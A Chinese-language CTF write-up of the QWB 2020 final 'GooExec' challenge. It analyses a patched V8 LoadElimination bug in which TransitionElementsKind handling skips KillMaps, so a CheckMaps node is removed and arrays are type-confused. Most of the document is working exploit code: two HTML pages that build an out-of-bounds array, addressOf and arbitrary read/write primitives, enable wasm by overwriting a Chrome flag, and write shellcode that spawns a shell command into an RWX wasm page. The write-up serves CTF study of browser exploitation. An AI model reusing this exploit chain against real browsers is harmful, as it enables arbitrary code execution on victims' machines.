强网杯2020决赛-GooExec题解

强网杯2020决赛-GooExec题解

前言

最近在学习v8相关的Issue和漏洞利用的知识,想起来去年决赛附件都没打开的GooExec,今年尝试跟着网上其他师傅的一些分析解决这道题目。

环境搭建

题目给了编译好的chrome和v8,包含debug版本和release版本,但是为了分析漏洞,我还是决定自己编译一下对应版本的d8方便看源码调试。

1
2
3
4
5
6
7
git checkout 8.7.74
gclient sync
git apply < ./GOO.diff
./tools/dev/v8gen.py x64.release
./tools/dev/v8gen.py x64.debug
inja -C out.gn/x64.release
inja -C out.gn/x64.debug

其中为了方便release里也可以带符号调试,配置文件args.gn修改如下。

1
2
3
4
5
6
7
8
is_debug = false
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true
symbol_level=2
target_cpu = "x64"
v8_untrusted_code_mitigations = false

漏洞分析

这是一个比较老的issue,通过搜索diff中的关键patch可以搜索到issue-799263,看下git log发现我们手里的v8是2020年的版本,应该是当时最新的代码加了patch来的,所以直接拿issue里的poc测会有一些问题,不过漏洞原理是相同的,所以我们的分析对应回18年的那个版本也是没问题的。这里比较好的一种方式是编译两版d8,在18年那版测PoC调试看日志把漏洞原理搞清楚,再回到题目的环境尝试触发漏洞,这里我比较懒就只用题目这个环境了。因为PoC有点问题,我们直接来看源码。

之前分析CVE-2020-16009时我们介绍了map transition的概念,大概就是说有了新的属性根据Hidden class的思想生成新的map,这里的ElementsTransition有两种模式,fast mode对应in-place的更新,slow mode不能通过仅更新map的representation来更新成新的map,而是需要分配一个新的map instance,再将旧的map的不变的属性拷贝过去,再更新某些field。

source_maptarget_map顾名思义为transition的源map和目标map,AbstractState可以抽象地认为是对象的状态,而maps就是用来描述状态的一个属性,effect会对节点的状态造成影响,因此这里判断了effect的状态,如果为null则无须改变节点。

AliasStateInfo我们看下其定义,结合注释可以得知它是用于保存object aliasing的信息的,也就是说同一个object可能在不同的操作中生成不同节点,但是它们可能需要保存同一个map副本,所谓的AliasStateInfo就是保存了同一对象的不同状态信息。

ZoneHandleSet是保存对象的map的一个集合,集合中包含有该对象可能存在的map属性,在处理TransitionElementsKind节点时首先查询target_map是否包含有当前处理的objectobject_map,如果有的话则说明这个节点是一个冗余节点,调用Replace(effect)消除这个节点。

如果object_maps包含source_map则将source_mapobject_maps中移除,将target_maps插入其中,在节点的state中保存这个对象和object_maps的信息。这里注释掉的部分是删除掉alias object保存的source_map的信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
// A descriptor for elements kind transitions.
class ElementsTransition final {
public:
enum Mode : uint8_t {
kFastTransition, // simple transition, just updating the map.
kSlowTransition // full transition, round-trip to the runtime.
};
//....

private:
Mode const mode_;
Handle<Map> const source_;
Handle<Map> const target_;
};
// Information we use to resolve object aliasing. Currently, we consider
// object not aliased if they have different maps or if the nodes may
// not alias.
class AliasStateInfo;
Reduction LoadElimination::ReduceTransitionElementsKind(Node* node) {
ElementsTransition transition = ElementsTransitionOf(node->op());
Node* const object = NodeProperties::GetValueInput(node, 0);
Handle<Map> source_map(transition.source());
Handle<Map> target_map(transition.target());
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
switch (transition.mode()) {
case ElementsTransition::kFastTransition:
break;
case ElementsTransition::kSlowTransition:
// Kill the elements as well.
AliasStateInfo alias_info(state, object, source_map);
state = state->KillField(
alias_info, FieldIndexOf(JSObject::kElementsOffset, kTaggedSize),
MaybeHandle<Name>(), zone());
break;
}
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (ZoneHandleSet<Map>(target_map).contains(object_maps)) {
// The {object} already has the {target_map}, so this TransitionElements
// {node} is fully redundant (independent of what {source_map} is).
return Replace(effect);
}
if (object_maps.contains(ZoneHandleSet<Map>(source_map))) {
object_maps.remove(source_map, zone());
object_maps.insert(target_map, zone());
// AliasStateInfo alias_info(state, object, source_map);
// state = state->KillMaps(alias_info, zone());
state = state->SetMaps(object, object_maps, zone());
}
} else {
AliasStateInfo alias_info(state, object, source_map);
state = state->KillMaps(alias_info, zone());
}
return UpdateState(node, state);
}

我们具体来看下LoadElimination::AbstractState::KillMaps函数,调用了LoadElimination::AbstractMaps::Kill函数,MayAlias用来判断两个Node是否可能指向同一个object,如果一定不指向同一个object则返回falseAbstractMaps表示在某个effect状态时所有Node所有可能的mapsZoneVector<AbstractState const*> info_for_node_变量用来存储相关的信息,也就是说Kill函数主要是将不会aliasnode->maps映射存储在集合中,假如node某个可能的maps没有放进去则可能存在类型混淆

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
//src/compiler/load-elimination.cc:492
LoadElimination::AbstractState const* LoadElimination::AbstractState::KillMaps(
const AliasStateInfo& alias_info, Zone* zone) const {
if (this->maps_) {
AbstractMaps const* that_maps = this->maps_->Kill(alias_info, zone);
if (this->maps_ != that_maps) {
AbstractState* that = zone->New<AbstractState>(*this);
that->maps_ = that_maps;
return that;
}
}
return this;
}
//src/compiler/load-elimination.cc:354
LoadElimination::AbstractMaps const* LoadElimination::AbstractMaps::Kill(
const AliasStateInfo& alias_info, Zone* zone) const {
for (auto pair : this->info_for_node_) {
if (alias_info.MayAlias(pair.first)) {
AbstractMaps* that = zone->New<AbstractMaps>(zone);
for (auto pair : this->info_for_node_) {
if (!alias_info.MayAlias(pair.first))
that->info_for_node_.insert(pair);
}
return that;
}
}
return this;
}
//src/compiler/load-elimination.cc:262
bool MayAlias(MaybeHandle<Name> x, MaybeHandle<Name> y) {
if (!x.address()) return true;
if (!y.address()) return true;
if (x.address() != y.address()) return false;
return true;
}

PoC

我们手里有issue的PoC,结合源码分析一下PoC构造出的效果,先调用两次opt函数让其收集信息,调用优化后的函数optarr2[0]=0触发map transition生成TransitionElementsKind节点。后面发现这个PoC并不能触发到LoadElimination::ReduceTransitionElementsKind,再对比一下TurboFanIR图发现并没有生成这个节点,我们调整测试这份PoC,最终得到下面的PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function opt(a, b) {
b[0] = 0;

a.length;

// TransitionElementsKind
for (let i = 0; i < 1; i++)
a[0] = 0;

// CheckMap removed, type confusion
b[0] = 9.431092e-317; // 0x1234567
}

let arr1 = new Array(1);
arr1[0] = 'a';
opt(arr1, [0]);

let arr2 = [0.1];
opt(arr2, arr2);

%OptimizeFunctionOnNextCall(opt);

opt(arr2, arr2);
arr2[0].x // access 0x1234566

最终在调用opt前输出arr2[0]的值为1.1而调用后输出object Object,成功构造出类型混淆,这里我们传入的a、b指向同一个对象但是在TurboFan中开始无法识别出来的时候会将其放在两个Parameter节点中,当我们进行ReduceTransitionElementsKind时会对a对象做transition,将其field representation向更为通用的方向进行转换,最开始作为浮点数数组,其map类型为Map(PACKED_DOUBLE_ELEMENTS),在类型转换之后参数2节点可能的map类型中移除了Map(PACKED_DOUBLE_ELEMENTS),而参数3节点没有调用KillMap把这个信息也删除掉,造成保存了错误信息,进而产生类型混淆。

具体地,在处理CheckMaps节点时,因为object_maps中保存了错误的关于对象的maps的信息,这里的maps.contains(object_maps)返回真,最终调用了Replace(effect)CheckMaps节点消除掉,以浮点数数组的类型执行b[0] = 9.431092e-317,然而在之前的a[0] = temp中数组的类型已经由浮点数数组转换成了对象数组,产生了类型混淆。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//src/compiler/load-elimination.cc:752
Reduction LoadElimination::ReduceCheckMaps(Node* node) {
ZoneHandleSet<Map> const& maps = CheckMapsParametersOf(node->op()).maps();
Node* const object = NodeProperties::GetValueInput(node, 0);
Node* const effect = NodeProperties::GetEffectInput(node);
AbstractState const* state = node_states_.Get(effect);
if (state == nullptr) return NoChange();
ZoneHandleSet<Map> object_maps;
if (state->LookupMaps(object, &object_maps)) {
if (maps.contains(object_maps)) return Replace(effect);
// TODO(turbofan): Compute the intersection.
}
state = state->SetMaps(object, maps, zone());
return UpdateState(node, state);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//before opt
DebugPrint: 0x35a9084448cd: [JSArray] in OldSpace
- map: 0x35a9083038fd <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
- prototype: 0x35a9082cb529 <JSArray[0]>
- elements: 0x35a9084449fd <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
- length: 1
- properties: 0x35a9080426dd <FixedArray[0]> {
0x35a908044649: [String] in ReadOnlySpace: #length: 0x35a908242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x35a9084449fd <FixedDoubleArray[1]> {
0: 1.1
}
//after opt
DebugPrint: 0x35a9084448cd: [JSArray] in OldSpace
- map: 0x35a908303975 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x35a9082cb529 <JSArray[0]>
- elements: 0x35a908351f45 <FixedArray[1]> [HOLEY_ELEMENTS]
- length: 1
- properties: 0x35a9080426dd <FixedArray[0]> {
0x35a908044649: [String] in ReadOnlySpace: #length: 0x35a908242159 <AccessorInfo> (const accessor descriptor)
}
- elements: 0x35a908351f45 <FixedArray[1]> {
0: 0x35a908351f29 <Object map = 0x35a9083022cd>
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function opt(a, b) {
let temp = {};
b[0] = 0;
a.length;
// TransitionElementsKind
for (let i = 0; i < 1; i++)
a[0] = temp;

// CheckMap removed, type confusion
b[0] = 9.431092e-317; // 0x1234567
}

let arr1 = new Array(1);
arr1[0] = 'a';
// opt(arr1, [0]);

let arr2 = [1.1];

for(var i = 0; i < 0x2000; i++){
eval(`var tmp_arr = [1.1];`);
opt(arr1,[1.1]);
opt(tmp_arr,[1.1]);
}
print(arr2[0]);
opt(arr2,[1.1]);;
print(arr2[0]); // access 0x1234566

在此之后有两种利用的思路,我们来看比较好理解和构造的一种方式,即构造出OOB数组。这里需要用到压缩指针的知识,我们在之前的分析中提到压缩指针开启的情况下使用32位保存指针,64位保存double数据。我们在将对象数组类型混淆为浮点数数组后实际可以操作的内存区域扩大了一倍,因此对属性赋值可以达到越界写的效果,我们在目标数组后布置oob数组,修改其length处的值即可得到OOB数组。这里有个坑是我拿全浮点数的数组搞后面无法越界,后面都是HeapNumber,混淆后的空间并没有被回收,我们又无法在opt函数中调用gc,最后把数组元素换成Smi即可。

再往后的利用思路主要参考raycp师傅的方法,我们在oob数组后布置字典对象,因为现在有越界读写,可以根据字典对象的属性标识找到obj属性的地址,得到访问该obj所需的索引。同理在oob数组后布置BigUint64Array对象,根据数组的元素找到该对象的base_pointerexternal_pointer以及array_len_idx。这里base_pointer保存了一个相对地址,external_pointer保存了一个同heap_base相关的地址,根据它可以泄露出压缩指针机制下的heap基址。劫持这两个指针就可以实现任意地址读写。另外为了得到这俩指针我的exp里加了padding以使得oob_arr的elements和这俩地址是8字节对齐的,否则比较麻烦。通过覆写字典对象的obj可以实现addressOf原语,因为wasm被禁了,我们先找到这个flag,将其从0改为1再走wasm那一套流程。

这里chrome里是通过libv8.so来调用v8的,我们在gdb调试中如果直接搜这个FLAG_expose_wasm字符串,找到的并不是这个flag,因为它的值为0/1,一种比较好的方式是我们自己编译带符号的chromiump & v8::internal::FLAG_expose_wasm打印其地址,寻找相对引用,在libv8.so找到可以定位该flag的函数,再到我们手里的版本里去查找,这里其位于chrome的地址为0x0EED418

另外介绍一下chrome调试的方法(感谢P4ndaKeenan手把手教学),首先打开chrome,每一个标签对应一个进程,我们可以通过shift+esc来查看当前的chrome进程号及信息,首先拿./chrome --js-flags="--noexpose_wasm --allow-natives-syntax" --no-sandbox启动,这样可以让我们在console输出debug信息,在我们希望调试的地方加个alert断下来,比如alert前放DebugPrint,在终端里看到其地址之后再gdb attach到该进程中调试,因为没有debug信息我们只能按照d8调试中看到的布局对应过去。

expose.html

对象布局还是不太稳定,这里基本上试个十次能成功一次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
<script>
function gc()
{
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}

var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var bigUint64 = new BigUint64Array(buf);
var dv = new DataView(buf);

function f2i(val)
{
dv.setFloat64(0,val,true);
return dv.getBigUint64(0,true);
}

function i2f(val)
{
dv.setBigUint64(0,BigInt(val),true);
return dv.getFloat64(0,true);
}

function f2half(f)
{
f64[0] = f;
let tmp = Array.from(u32);
return tmp;
}

function half2f(val)
{
u32.set(val);
return f64[0];
}

function p64f(high,low){
dv.setUint32(0,high,true);
dv.setUint32(4,low,true);
return dv.getFloat64(0,true);
}

function Byte2U64(payload)
{
let res = [];
let len;
let spare;
spare = payload.length % 8;
len = payload.length - spare;
// print(len);
// print(spare);
for(let i = 0; i < len; i += 8){
for(let j = 0; j < 8; j++){
dv.setUint8(j, payload[i+j], true);
}
res.push(dv.getBigUint64(0, true));
}
//
dv.setBigUint64(0,BigInt(0),true);
if(spare != 0){
for(let i = 0;i < spare; i++){
dv.setUint8(0, payload[i+len], true)
};
}
res.push(dv.getBigUint64(0, true));
//print(res);
return res;
}

function ByteToBigIntArray(payload)
{

let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}

let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}

function hex(i){
return i.toString(16).padStart(16,"0");
}

function opt(a, b) {
let temp = {};
b[0] = 0;
a.length;
// TransitionElementsKind
for (let i = 0; i < a.length; i++)
a[i] = temp;
let o = [1.1];
// CheckMap removed, type confusion

b[15] = 4.063e-320; // 0x1234567
return o;
}

var arr1 = new Array(1);
arr1[0] = 'a';
// opt(arr1, [0]);

for(var i = 0; i < 10000; i++){
eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
opt(arr1,[1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
opt(tmp_arr,[1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}
gc();
var arr2 = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_arr = opt(arr2,arr2);
console.log("[+]oob arr length : " + hex(oob_arr.length));
gc();
//find sth by sign
var obj_arr = {mark:0xdead,obj:arr1};
var obj_arr1 = {mark:0x9999,obj:arr2};
var big_arr = new BigUint64Array(6);
gc();

big_arr[0] = 0x1337n;
big_arr[1] = 0x1717n;

//search the obj
var obj_idx = 0;
for(var i = 0; i < 0x1337; i++){
let tmp = f2half(oob_arr[i]);
if(tmp[1] == (0xdead << 1)){
//find the mark and obj address is below the mark
obj_idx = i + 1;
break;
}
}
console.log("[+]find the idx of obj : " + hex(obj_idx));
var obj_addr = f2half(oob_arr[obj_idx])[0];
console.log("[+]obj addr : " + hex(obj_addr));
var base_pointer_idx = 0;
var external_pointer_idx = 0;
var bigarr_len_idx = 0;
var base_pointer;
var external_pointer;
var bigarr_len;
//search the BigUint64Array
for(var i = 0; i < 0x1337; i++){
let tmp = f2half(oob_arr[i])[1];
if(tmp == 0x1337){
//find the mark and obj address is below the mark
base_pointer_idx = i - 8;
base_pointer = f2i(oob_arr[base_pointer_idx]);
external_pointer_idx = i - 9;
external_pointer = f2i(oob_arr[external_pointer_idx]);
//external_pointer = (f2half(oob_arr[base_pointer_idx])[0]) * (0x100000000) + (f2half(oob_arr[external_pointer_idx])[1]);
bigarr_len_idx = i - 10;
bigarr_len = f2i(oob_arr[bigarr_len_idx]);
//bigarr_len = f2half(oob_arr[bigarr_len_idx])[1];
break;
}
}
var high_addr = f2i(oob_arr[external_pointer_idx]) & 0xffffffff00000000n;
console.log("[+]leaked base_pointer idx : " + hex(base_pointer_idx));
console.log("[+]leaked external pointer idx : " + hex(external_pointer_idx));
console.log("[+]high addr : " + hex(high_addr));
console.log("[+]leaked base_pointer : " + hex(base_pointer));
console.log("[+]leaked external_pointer : " + hex(external_pointer));
console.log("[+]leaked bigarr_len : " + hex(bigarr_len));

//heap_read

function heap_read(addr)
{
//set base pointer
oob_arr[base_pointer_idx] = i2f(addr-0x8n);
var res = big_arr[0];
return res;
}

function arb_read(addr)
{
oob_arr[base_pointer_idx] = i2f(0n);
oob_arr[external_pointer_idx] = i2f(addr);
var res = big_arr[0];
return res;
}

function arb_write(addr, payload)
{
var payload_u64 = ByteToBigIntArray(payload);
oob_arr[bigarr_len_idx] = i2f(payload_u64.length);
oob_arr[base_pointer_idx] = i2f(0n);
oob_arr[external_pointer_idx] = i2f(addr);
//set len

// print(payload_u64);
// %SystemBreak();
//
for(let i = 0; i < payload_u64.length; i++){
big_arr[i] = payload_u64[i];
}
}

function arb_write64(addr, val)
{
oob_arr[base_pointer_idx] = i2f(0n);
oob_arr[external_pointer_idx] = i2f(addr);
big_arr[0] = val;
}

function addressOf(obj)
{
obj_arr.obj = obj;
let res = f2half(oob_arr[obj_idx])[0];
return res;
}

var test_arr = [1.1, 2.2, 3.3];



var constructor_addr = BigInt(addressOf(test_arr.constructor));
console.log("[+]addr of test arr : " + hex(constructor_addr));

var constructor_code = heap_read(constructor_addr + 0x18n) & 0xffffffffn;
console.log("[+]addr of constructor code : " + hex(constructor_code));

var code_text_addr = heap_read(constructor_code + 0x40n) >> 16n;
console.log("[+]addr of code text : " + hex(code_text_addr));

//var code_base = code_text_addr - 0xa86b20n;//for realease
var code_base = code_text_addr - 0x2cdc0n - 0x3bd000n;//for chrome
console.log("[+]addr of code base " + hex(code_base));

//%DebugPrint(test_arr.constructor);

//alert("xmzyshypnc");

var wasm_expose_addr = code_base + 0xEED418n;//0xEED418
//
arb_write64(wasm_expose_addr, 1n);
</script>

exp.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
<script>
function gc()
{
for(var i = 0;i < ((1024*1024));i++){
var a = new String();
}
}

var buf = new ArrayBuffer(16);
var f64 = new Float64Array(buf);
var u32 = new Uint32Array(buf);
var bigUint64 = new BigUint64Array(buf);
var dv = new DataView(buf);

function f2i(val)
{
dv.setFloat64(0,val,true);
return dv.getBigUint64(0,true);
}

function i2f(val)
{
dv.setBigUint64(0,BigInt(val),true);
return dv.getFloat64(0,true);
}

function f2half(f)
{
f64[0] = f;
let tmp = Array.from(u32);
return tmp;
}

function half2f(val)
{
u32.set(val);
return f64[0];
}

function p64f(high,low){
dv.setUint32(0,high,true);
dv.setUint32(4,low,true);
return dv.getFloat64(0,true);
}

function Byte2U64(payload)
{
let res = [];
let len;
let spare;
spare = payload.length % 8;
len = payload.length - spare;
// print(len);
// print(spare);
for(let i = 0; i < len; i += 8){
for(let j = 0; j < 8; j++){
dv.setUint8(j, payload[i+j], true);
}
res.push(dv.getBigUint64(0, true));
}
//
dv.setBigUint64(0,BigInt(0),true);
if(spare != 0){
for(let i = 0;i < spare; i++){
dv.setUint8(0, payload[i+len], true)
};
}
res.push(dv.getBigUint64(0, true));
//print(res);
return res;
}

function ByteToBigIntArray(payload)
{

let sc = []
let tmp = 0n;
let lenInt = BigInt(Math.floor(payload.length/8))
for (let i = 0n; i < lenInt; i += 1n) {
tmp = 0n;
for(let j=0n; j<8n; j++){
tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
}
sc.push(tmp);
}

let len = payload.length%8;
tmp = 0n;
for(let i=0n; i<len; i++){
tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
}
sc.push(tmp);
return sc;
}

function hex(i){
return i.toString(16).padStart(16,"0");
}

function opt(a, b) {
let temp = {};
b[0] = 0;
a.length;
// TransitionElementsKind
for (let i = 0; i < a.length; i++)
a[i] = temp;
let o = [1.1];
// CheckMap removed, type confusion

b[15] = 4.063e-320; // 0x1234567
return o;
}

var arr1 = new Array(1);
arr1[0] = 'a';
// opt(arr1, [0]);

for(var i = 0; i < 10000; i++){
eval(`var tmp_arr = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];`);
opt(arr1,[1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
opt(tmp_arr,[1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24]);
}
gc();
var arr2 = [1.1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24];
var oob_arr = opt(arr2,arr2);
console.log("[+]oob arr length : " + hex(oob_arr.length));
gc();
//find sth by sign
var obj_arr = {mark:0xdead,obj:arr1};
var obj_arr1 = {mark:0x9999,obj:arr2};
var big_arr = new BigUint64Array(6);
gc();

big_arr[0] = 0x1337n;
big_arr[1] = 0x1717n;

//search the obj
var obj_idx = 0;
for(var i = 0; i < 0x1337; i++){
let tmp = f2half(oob_arr[i]);
if(tmp[1] == (0xdead << 1)){
//find the mark and obj address is below the mark
obj_idx = i + 1;
break;
}
}
console.log("[+]find the idx of obj : " + hex(obj_idx));
var obj_addr = f2half(oob_arr[obj_idx])[0];
console.log("[+]obj addr : " + hex(obj_addr));
var base_pointer_idx = 0;
var external_pointer_idx = 0;
var bigarr_len_idx = 0;
var base_pointer;
var external_pointer;
var bigarr_len;
//search the BigUint64Array
for(var i = 0; i < 0x1337; i++){
let tmp = f2half(oob_arr[i])[1];
if(tmp == 0x1337){
//find the mark and obj address is below the mark
base_pointer_idx = i - 8;
base_pointer = f2i(oob_arr[base_pointer_idx]);
external_pointer_idx = i - 9;
external_pointer = f2i(oob_arr[external_pointer_idx]);
//external_pointer = (f2half(oob_arr[base_pointer_idx])[0]) * (0x100000000) + (f2half(oob_arr[external_pointer_idx])[1]);
bigarr_len_idx = i - 10;
bigarr_len = f2i(oob_arr[bigarr_len_idx]);
//bigarr_len = f2half(oob_arr[bigarr_len_idx])[1];
break;
}
}
var high_addr = f2i(oob_arr[external_pointer_idx]) & 0xffffffff00000000n;
console.log("[+]leaked base_pointer idx : " + hex(base_pointer_idx));
console.log("[+]leaked external pointer idx : " + hex(external_pointer_idx));
console.log("[+]high addr : " + hex(high_addr));
console.log("[+]leaked base_pointer : " + hex(base_pointer));
console.log("[+]leaked external_pointer : " + hex(external_pointer));
console.log("[+]leaked bigarr_len : " + hex(bigarr_len));

//heap_read

function heap_read(addr)
{
//set base pointer
oob_arr[base_pointer_idx] = i2f(addr-0x8n);
var res = big_arr[0];
return res;
}

function arb_read(addr)
{
oob_arr[base_pointer_idx] = i2f(0n);
oob_arr[external_pointer_idx] = i2f(addr);
var res = big_arr[0];
return res;
}

function arb_write(addr, payload)
{
var payload_u64 = ByteToBigIntArray(payload);
oob_arr[bigarr_len_idx] = i2f(payload_u64.length);
oob_arr[base_pointer_idx] = i2f(0n);
oob_arr[external_pointer_idx] = i2f(addr);
//set len

// print(payload_u64);
// %SystemBreak();
//
for(let i = 0; i < payload_u64.length; i++){
big_arr[i] = payload_u64[i];
}
}

function arb_write64(addr, val)
{
oob_arr[base_pointer_idx] = i2f(0n);
oob_arr[external_pointer_idx] = i2f(addr);
big_arr[0] = val;
}

function addressOf(obj)
{
obj_arr.obj = obj;
let res = f2half(oob_arr[obj_idx])[0];
return res;
}

function wasm_func() {
var wasmImports = {
env: {
puts: function puts (index) {
print(utf8ToString(h, index));
}
}
};

var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
let h = new Uint8Array(m.exports.memory.buffer);
return m.exports.hello;
}

var wasm_function = wasm_func();

var wasm_function_addr = BigInt(addressOf(wasm_function));
console.log("[+] wasm_function_addr : 0x" + hex(wasm_function_addr));

var shared_info_addr = heap_read(wasm_function_addr+0xcn) & 0xffffffffn;
console.log("[+] shared info addr : 0x" + hex(shared_info_addr));

var data_addr = heap_read(shared_info_addr+0x4n) & 0xffffffffn;
console.log("[+] data addr : 0x" + hex(data_addr));

var instance_addr = heap_read(data_addr+0x8n) & 0xffffffffn;
console.log("[+] instance addr : 0x" + hex(instance_addr));

var wasm_addr = heap_read(instance_addr+0x68n);
console.log("[+] wasm addr : 0x" + hex(wasm_addr));

// var wasm_addr_low = heap_read(instance_addr+0x68n) & 0xffffffffn;
// console.log("[+] wasm addr : 0x" + hex(wasm_addr));

// %DebugPrint(oob_arr);
// %DebugPrint(obj_arr);

// %DebugPrint(big_arr);

let shellcode = [0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05];

arb_write(wasm_addr, shellcode);
//%SystemBreak();
wasm_function();

// %DebugPrint(wasm_function);
// %SystemBreak();

// %DebugPrint(arr2);
// %DebugPrint(oob_arr);
// %SystemBreak();
//print(arr2[0]); // access 0x1234566
</script>
您的支持将鼓励我继续创作